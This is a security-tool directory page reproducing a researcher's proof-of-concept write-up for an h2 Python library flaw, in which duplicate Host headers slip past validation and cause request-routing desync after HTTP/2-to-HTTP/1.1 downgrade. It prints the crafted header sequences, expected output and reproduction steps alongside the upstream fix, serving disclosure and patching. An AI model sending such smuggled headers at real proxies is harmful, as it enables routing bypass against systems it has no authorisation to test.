Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
poc-h2-CVE-2026-71554 — PoC for CVE-2026-71554 - h2 duplicate Host header request smuggling primitive (fixed in 4.4.1) | Kitploit
工具/GitHubGitHub/sunandm/poc-h2-cve-2026-71554
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingWeb SecurityAPI SecurityAdversarial Attack
GitHubsunandm/poc-h2-cve-2026-71554

poc-h2-CVE-2026-71554

PoC for CVE-2026-71554 - h2 duplicate Host header request smuggling primitive (fixed in 4.4.1)

查看仓库
141个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
内容在请求的语言中不可用。显示英文版本。

CVE-2026-71554 - h2 Duplicate Host Header Request Smuggling Primitive

This is my first CVE, and I have released this PoC to document the finding and help others understand and reproduce it.

CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg Affected: h2 <= 4.4.0 Fixed: h2 4.4.1 Severity: Medium (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554


What I Found

While reviewing h2's header validation logic, I noticed that _validate_host_authority_header() in src/h2/utilities.py checks that Host and match - but only compares the Host header it sees. If you send two Host headers, h2 uses the second one for the match check and forwards both to the application without complaint.

:authority
last

Interestingly, h2 4.4.0 already rejects duplicate Content-Length headers with a ProtocolError. The same fix was never applied to Host. There was even a TODO comment in the source acknowledging this exact gap:

root@kitploit:~
# TODO: We should also guard against receiving duplicate Host headers,
#       and against sending duplicate headers.

Root Cause

_validate_host_authority_header() in src/h2/utilities.py uses a last-wins loop that records the last Host value seen and checks only that:

  1. At least one of :authority or Host is present
  2. When both are present, they match

There is no check on the number of Host headers. Each Host header is yielded downstream to the application regardless of how many are present.


Attack Scenarios

Case 1 - Two Host headers, no :authority

Client sends:

root@kitploit:~
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker

h2 accepts both. Application receives both Host headers.

HTTP/1.1 downgrade produces:

root@kitploit:~
GET / HTTP/1.1
host: good.internal
host: evil.attacker

RFC 9112 s3.2 requires a server to respond 400 to any HTTP/1.1 request containing more than one Host header. Backends diverge:

root@kitploit:~
nginx          — rejects with 400
Python stdlib  — accepts, returns FIRST Host on lookup
Werkzeug       — accepts, returns FIRST Host on lookup

Case 2 - Stealth smuggling (:authority bypass)

Client sends:

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker     <- index 0, first Host (seen by origin)
host: good.internal     <- index 1, last Host (used by h2 validator)

h2 validates: last Host (good.internal) == :authority (good.internal) - passes.

Application receives both Host headers. HTTP/1.1 downgrade produces:

root@kitploit:~
GET / HTTP/1.1
host: evil.attacker
host: good.internal

Backends that return the first Host on a single-key lookup route the request to evil.attacker while h2 believed it validated good.internal. Complete routing desync between what h2 validated and what the origin processes.


Control - Single mismatched Host correctly rejected

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker

h2 raises ProtocolError. Confirms the gap is specific to duplicate Host headers.


What Can Be Affected

Impact is conditional on the deployment architecture:

  • Affected: Reverse proxies or API gateways that accept HTTP/2 from clients and downgrade to HTTP/1.1 when forwarding to backends, where the backend uses the first Host header for routing decisions
  • Affected backends (empirically tested): Python stdlib http.client, Werkzeug Headers -both accept duplicate Host and return the first value
  • Unaffected backends: nginx - rejects with 400 on duplicate Host
  • Unaffected deployments: End-to-end HTTP/2 with no HTTP/1.1 downgrade

Steps to Reproduce

Requirements

root@kitploit:~
pip install h2==4.4.0

Run

root@kitploit:~
python3 poc_h2_duplicate_host.py

Expected output on vulnerable 4.4.0

root@kitploit:~
CASE 1 - Two Host headers, no :authority (both forwarded)
h2 forwarded Host headers: ['good.internal', 'evil.attacker']
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: good.internal
host: evil.attacker

CASE 2 - STEALTH: :authority matches LAST Host, first Host smuggled
:authority=['good.internal']  Host(s)=['evil.attacker', 'good.internal']
h2 mismatch check PASSES (:authority == last Host).
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: evil.attacker
host: good.internal

CONTROL - Single mismatched Host vs :authority (correctly rejected)
[control] SENDER rejected: ProtocolError(...)

Verify the fix on 4.4.1

root@kitploit:~
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py

All three cases raise ProtocolError. No headers forwarded.


The Fix

One counter added to the existing loop in _validate_host_authority_header():

root@kitploit:~
host_header_count = 0
for header in headers:
    if header[0] == b"host":
        host_header_count += 1
    yield header

if host_header_count > 1:
    raise ProtocolError("Request header block has multiple Host headers.")

Commit: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6


Credit

Found and reported by Sunand Mohan (https://github.com/SunandM)

下载工具